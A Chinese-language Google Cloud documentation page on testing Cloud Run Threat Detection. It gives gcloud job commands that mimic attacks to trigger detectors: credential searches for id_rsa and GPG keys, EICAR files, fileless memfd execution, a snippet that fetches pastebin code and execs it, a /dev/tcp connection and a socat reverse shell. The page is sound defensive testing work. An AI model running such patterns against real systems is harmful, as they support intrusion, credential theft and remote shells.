测试 Cloud Run 威胁检测

本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Cloud Run Threat Detection 是否正常运行。Cloud Run Threat Detection 是 Security Command Center 的一项内置服务。

准备工作

如需检测 Cloud Run 服务和作业的潜在威胁,请确保在 Security Command Center 中启用 Cloud Run 威胁检测服务。某些检测器默认处于停用状态。如需测试这些检测器,您必须先启用其对应的模块。如需了解详情,请参阅已停用的运行时检测器。

设置环境变量

如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更方便地运行命令。您将使用这些变量来测试所有检测器。

  1. 前往 Google Cloud 控制台。

    前往 Google Cloud 控制台

  2. 选择包含要用来测试的 Cloud Run 作业的项目。

  3. 点击激活 Cloud Shell。

  4. 在 Cloud Shell 中,设置环境变量:

    1. 设置要在其中创建测试作业的项目和区域。

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

设置环境变量后,您可以继续按照说明测试检测器。

命令与控制:检测到信息隐写工具

如需触发Command and Control: Steganography Tool Detected(预览版)发现结果,请在容器内执行具有与信息隐写工具一致的文件操作功能的二进制文件。此示例会复制 /bin/ls 并将其重命名为 steghide。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Command and Control: Steganography Tool Detected 发现结果。

凭证访问权限:查找 Google Cloud 凭证

如需触发Credential Access: Find Google Cloud Credentials发现结果,请在容器内执行能够搜索文件内容的二进制文件。此示例会复制 /bin/ls,将其重命名为 grep,并使用可疑参数执行该文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Credential Access: Find Google Cloud Credentials 发现结果。

凭证访问权限:GPG 密钥侦察

如需触发 Credential Access: GPG Key Reconnaissance 发现结果,请使用可疑参数执行搜索工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Credential Access: GPG Key Reconnaissance 发现结果。

凭证访问权限:搜索私钥或密码

如需触发 Credential Access: Search Private Keys or Passwords 发现结果,请使用可疑参数执行搜索工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Credential Access: Search Private Keys or Passwords 发现结果。

防护规避:Base64 ELF 文件命令行

如需触发 Defense Evasion: Base64 ELF File Command Line 发现结果,请使用编码的 ELF 标头参数执行 base64。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程应创建两个Defense Evasion: Base64 ELF File Command Line发现结果。

防护规避:已执行 Base64 编码的 Python 脚本

如需触发 Defense Evasion: Base64 Encoded Python Script Executed 发现结果,请使用编码的 Python 命令执行 echo。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Defense Evasion: Base64 Encoded Python Script Executed 发现结果。

防护规避:执行 Base64 编码的 shell 脚本

如需触发 Defense Evasion: Base64 Encoded Shell Script Executed 发现结果,请使用经过编码的 shell 命令执行 echo。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Defense Evasion: Base64 Encoded Shell Script Executed 发现结果。

防护规避:在容器中启动代码编译器工具

如需触发Defense Evasion: Launch Code Compiler Tool In Container(预览版)发现结果,请执行编译器工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Defense Evasion: Launch Code Compiler Tool In Container 发现结果。

执行:已执行添加的恶意二进制文件

如需触发Execution: Added Malicious Binary Executed发现结果,请将恶意二进制文件 (EICAR) 添加到容器中并执行该文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Added Malicious Binary Executed 发现结果。

执行:加载了添加的恶意库

如需触发Execution: Added Malicious Library Loaded发现结果,请在容器中添加恶意库并加载该库。此示例使用模拟的恶意库更新 /tmp/test_mal_lib 文件,然后使用 mmap 加载该文件。加载现有文件的库是出乎意料的,因为该文件不在原始容器映像中,并且该库是 EICAR 测试文件,这是一种被威胁情报系统归类为恶意的文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Added Malicious Library Loaded 发现结果。

执行:容器逃逸

如需触发Execution: Container Escape发现结果,请执行模拟容器逃逸行为的工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Container Escape 发现结果。

执行:/memfd: 中的无文件执行

如需触发Execution: Fileless Execution in /memfd:发现结果,请使用 Python 从 /memfd: 内存中文件系统执行进程。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Fileless Execution in /memfd: 发现结果。

执行:Kubernetes 攻击工具执行

如需触发Execution: Kubernetes Attack Tool Execution发现结果,请执行与已知攻击工具匹配的程序。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Kubernetes Attack Tool Execution 发现结果。

执行:本地侦察工具执行

如需触发Execution: Local Reconnaissance Tool Execution发现结果,请执行与侦察工具匹配的程序。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Local Reconnaissance Tool Execution 发现结果。

执行:已执行恶意 Python

如需触发Execution: Malicious Python Executed发现结果,请执行模拟恶意行为的 Python 脚本。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Malicious Python Executed 发现结果。请注意,此测试最多可能需要 15 分钟才能生成发现结果。

执行:已执行修改的恶意二进制文件

如需触发 Execution: Modified Malicious Binary Executed 发现结果,请修改二进制文件以匹配已知的恶意签名 (EICAR)。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Modified Malicious Binary Executed 发现结果。

执行:加载了修改的恶意库

如需触发Execution: Modified Malicious Library Loaded发现结果,请使用容器中的恶意库修改现有文件并加载该文件。此示例使用模拟的恶意库更新 /etc/issue 文件,然后使用 mmap 加载该文件。现有文件的库加载是出乎意料的,因为该库是 EICAR 测试文件,被威胁情报系统归类为恶意文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Modified Malicious Library Loaded 发现结果。

执行:已执行新增的恶意技能

如需触发Execution: Added Malicious Skill Executed发现结果,请将恶意技能二进制文件添加到容器中并执行该文件。

创建并执行 Cloud Run 作业:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10; sha256sum /tmp/test_mal_file" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Added Malicious Skill Executed 发现结果。

执行:已执行修改过的恶意技能

如需触发 Execution: Modified Malicious Skill Executed 发现结果,请修改二进制文件,使其与已知的恶意技能签名匹配。

创建并执行 Cloud Run 作业:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-mod-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10; sha256sum /etc/issue" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Modified Malicious Skill Executed 发现结果。

执行:已加载新增的恶意技能

如需触发Execution: Added Malicious Skill Loaded发现结果,请在容器中添加恶意技能库并加载该库。此示例使用模拟的恶意技能库更新 /tmp/test_mal_lib 文件,然后使用 mmap 加载该文件。现有文件的库加载是出乎意料的,因为该文件不在原始容器映像中,并且该库包含被威胁情报系统归类为恶意技能的特定测试哈希。

创建并执行 Cloud Run 作业:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-add-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /tmp/test_mal_lib
chmod 700 /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
sha256sum /tmp/test_mal_lib
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Added Malicious Skill Loaded 发现结果。

执行:已加载修改过的恶意技能

如需触发Execution: Modified Malicious Skill Loaded发现结果,请使用容器中的恶意技能库修改现有文件并加载该文件。此示例使用模拟的恶意技能库更新 /etc/issue 文件,然后使用 mmap 加载该文件。现有文件的库加载是出乎意料的,因为该库包含被威胁情报系统归类为恶意技能的特定测试哈希。

创建并执行 Cloud Run 作业:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-mod-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /etc/issue
chmod 700 /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
sha256sum /etc/issue
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Modified Malicious Skill Loaded 发现结果。

执行:容器中的 Netcat 远程代码执行

如需触发 Execution: Netcat Remote Code Execution In Container 事件,请使用可疑参数执行 netcat。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Netcat Remote Code Execution In Container 发现结果。

执行:可能通过 CUPS 执行任意命令 (CVE-2024-47076)

如需触发 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 发现结果,请执行模拟漏洞利用的脚本。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 发现结果。

执行:疑似检测到远程命令执行

如需触发Execution: Possible Remote Command Execution Detected(预览版)发现结果,请执行尝试远程连接的命令。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Possible Remote Command Execution Detected 发现结果。

执行:在禁止使用 HTTP 代理的环境中运行的程序

如需触发 Execution: Program Run with Disallowed HTTP Proxy Env 发现结果,请使用不良代理环境变量执行程序。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Program Run with Disallowed HTTP Proxy Env 发现结果。

执行:检测到 Socat 反向 shell

如需触发 Execution: Socat Reverse Shell Detected 发现结果,请使用 socat 实用程序建立反向 shell。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Socat Reverse Shell Detected 发现结果。

执行:已加载可疑的 OpenSSL 共享对象

如需触发 Execution: Suspicious OpenSSL Shared Object Loaded 发现结果,请使用可疑库执行 openssl。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Suspicious OpenSSL Shared Object Loaded 发现结果。

提取:在容器中启动远程文件复制工具

如需触发 Exfiltration: Launch Remote File Copy Tools In Container 发现结果,请执行远程复制工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Exfiltration: Launch Remote File Copy Tools In Container 发现结果。

影响:检测恶意命令行

如需触发Impact: Detect Malicious Cmdlines(预览版)发现结果,请执行可疑命令名称 (IPFS)。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Impact: Detect Malicious Cmdlines 发现结果。

影响:从磁盘中移除批量数据

如需触发 Impact: Remove Bulk Data From Disk 发现结果,请执行 shred 等工具。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Impact: Remove Bulk Data From Disk 发现结果。

影响:使用 Stratum 协议的可疑加密货币挖矿活动

如需触发Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol发现结果,请使用类似于加密货币挖矿软件使用 Stratum 协议进行通信时所用的参数来执行二进制文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol 发现结果。

已执行恶意脚本

如需触发 Malicious Script Executed 发现结果,请执行模拟恶意行为的脚本。

创建并执行 Cloud Run 作业:

